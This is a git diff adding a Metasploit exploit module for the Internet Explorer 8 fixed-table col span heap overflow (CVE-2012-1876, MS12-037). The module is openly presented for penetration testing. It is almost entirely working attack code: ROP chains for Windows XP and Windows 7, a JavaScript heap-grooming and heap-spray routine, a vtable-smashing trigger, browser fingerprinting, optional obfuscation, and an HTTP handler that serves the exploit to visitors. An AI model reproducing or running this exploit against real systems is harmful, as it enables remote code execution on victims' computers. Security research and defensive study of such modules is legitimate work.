diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb new file mode 100644 index 0000000000..d5633b6207 --- /dev/null +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -0,0 +1,275 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :os_name => OperatingSystems::WINDOWS, + :ua_minver => "8.0", + :ua_maxver => "8.0", + :rank => NormalRanking, # reliable memory corruption + :javascript => true + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', + 'Description' => %q{ + This module exploits a heap overflow vulnerability in Internet Explorer caused + by an incorrect handling of the span attribute for col elements from a fixed table, + when they are modified dynamically by javascript code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alexandre Pelletier', # Vulnerability analysis + 'mr_me ', # Metasploit module + 'binjo', # Metasploit module + 'sinn3r', # Help with the Metasploit module + 'juan' # Help with the Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-1876' ], + [ 'OSVDB', '82866'], + [ 'BID', '53848' ], + [ 'MSB', 'MS12-037' ], + [ 'URL', 'http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3 with msvcrt ROP', + { + 'Rop' => :msvcrt + } + ], + [ 'IE 8 on Windows 7 SP1', + { + 'Rop' => :jre + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jun 12 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ + return targets[1] #IE 8 on Windows XP SP3 + elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ + return targets[2] #IE 8 on Windows 7 with JRE + else + return nil + end + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V").first + end + + def nop + return make_nops(4).unpack("V").first + end + + def get_payload(t) + + code = payload.encoded + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + exec_size = code.length + rop = + [ + 0x77c4ec01, # retn + 0x77c4ec00, # pop ebp; retn + 0x77c15ed5, # xchg eax,esp; retn (pivot) + 0x77c4e392, # pop eax; retn + 0x77c11120, # <- *&VirtualProtect() + 0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn + junk, + 0x77c2dd6c, + 0x77c4ec00, # pop ebp; retn + 0x77c35459, # ptr to 'push esp; ret' + 0x77c47705, # pop ebx; retn + exec_size, # ebx + 0x77c3ea01, # pop ecx; retn + 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) + 0x77c46100, # pop edi; retn + 0x77c46101, # rop nop (-> edi) + 0x77c4d680, # pop edx; retn + 0x00000040, # newProtect (0x40) (-> edx) + 0x77c4e392, # pop eax; retn + nop, # nops (-> eax) + 0x77c12df9 # pushad; retn + ].pack("V*") + when :jre + print_status("Using JRE ROP") + exec_size = code.length + rop = + [ + 0x7c346c0b, # retn + 0x7c36f970, # pop ebp; retn + 0x7c348b05, # xchg eax,esp; retn (pivot) + 0x7c36f970, # pop ebp; retn [MSVCR71.dll] + 0x7c36f970, # skip 4 bytes [MSVCR71.dll] + 0x7c34373a, # pop ebx ; retn [MSVCR71.dll] + exec_size, # ebx + 0x7c3444d0, # pop edx ; retn [MSVCR71.dll] + 0x00000040, # 0x00000040-> edx + 0x7c361829, # pop ecx ; retn [MSVCR71.dll] + 0x7c38f036, # &Writable location [MSVCR71.dll] + 0x7c342766, # pop edi ; retn [MSVCR71.dll] + 0x7c346c0b, # retn (rop nop) [MSVCR71.dll] + 0x7c350564, # pop esi ; retn [MSVCR71.dll] + 0x7c3415a2, # jmp [eax] [MSVCR71.dll] + 0x7c3766ff, # pop eax ; retn [MSVCR71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll] + 0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll] + 0x7c345c30 # ptr to 'push esp; ret ' [MSVCR71.dll] + ].pack("V*") + end + + code = rop + code + return code + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if the victim doesn't have the same setup we're targeting + if my_target.nil? + print_error("Browser not supported: #{agent}") + send_not_found(cli) + return + end + + js_code = Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch)) + + table_builder = '' + + 0.upto(132) do |i| + table_builder << " 
" + end + + # About smash_vtable(): + # * smash the vftable 0x07070024 + # * span => the amount to overwrite + spray_trigger_js = <<-JS + + var dap = "EEEE"; + while ( dap.length < 480 ) dap += dap; + + var padding = "AAAA"; + while ( padding.length < 480 ) padding += padding; + + var filler = "BBBB"; + while ( filler.length < 480 ) filler += filler; + + var arr = new Array(); + var rra = new Array(); + + var div_container = document.getElementById("test"); + div_container.style.cssText = "display:none"; + + for (var i=0; i < 500; i+=2) { + rra[i] = dap.substring(0, (0x100-6)/2); + arr[i] = padding.substring(0, (0x100-6)/2); + arr[i+1] = filler.substring(0, (0x100-6)/2); + var obj = document.createElement("button"); + div_container.appendChild(obj); + } + + for (var i=200; i<500; i+=2 ) { + rra[i] = null; + CollectGarbage(); + } + + function heap_spray(){ + CollectGarbage(); + + var shellcode = unescape("#{js_code}"); + + while (shellcode.length < 100000) + shellcode = shellcode + shellcode; + var onemeg = shellcode.substr(0, 64*1024/2); + for (i=0; i<14; i++) { + onemeg += shellcode.substr(0, 64*1024/2); + } + + onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); + var spray = new Array(); + + for (i=0; i<400; i++) { + spray[i] = onemeg.substr(0, onemeg.length); + } + } + + function smash_vtable(){ + var obj_col_0 = document.getElementById("132"); + obj_col_0.width = "1178993"; + obj_col_0.span = "44"; + } + + setTimeout(function(){heap_spray()}, 400); + setTimeout(function(){smash_vtable()}, 700); + JS + + if datastore['OBFUSCATE'] + spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js) + spray_trigger_js.obfuscate + end + + # build html + content = <<-HTML + + +
+ #{table_builder} + + + + HTML + + print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + + # Transmit the response to the client + send_response_html(cli, content) + end + +end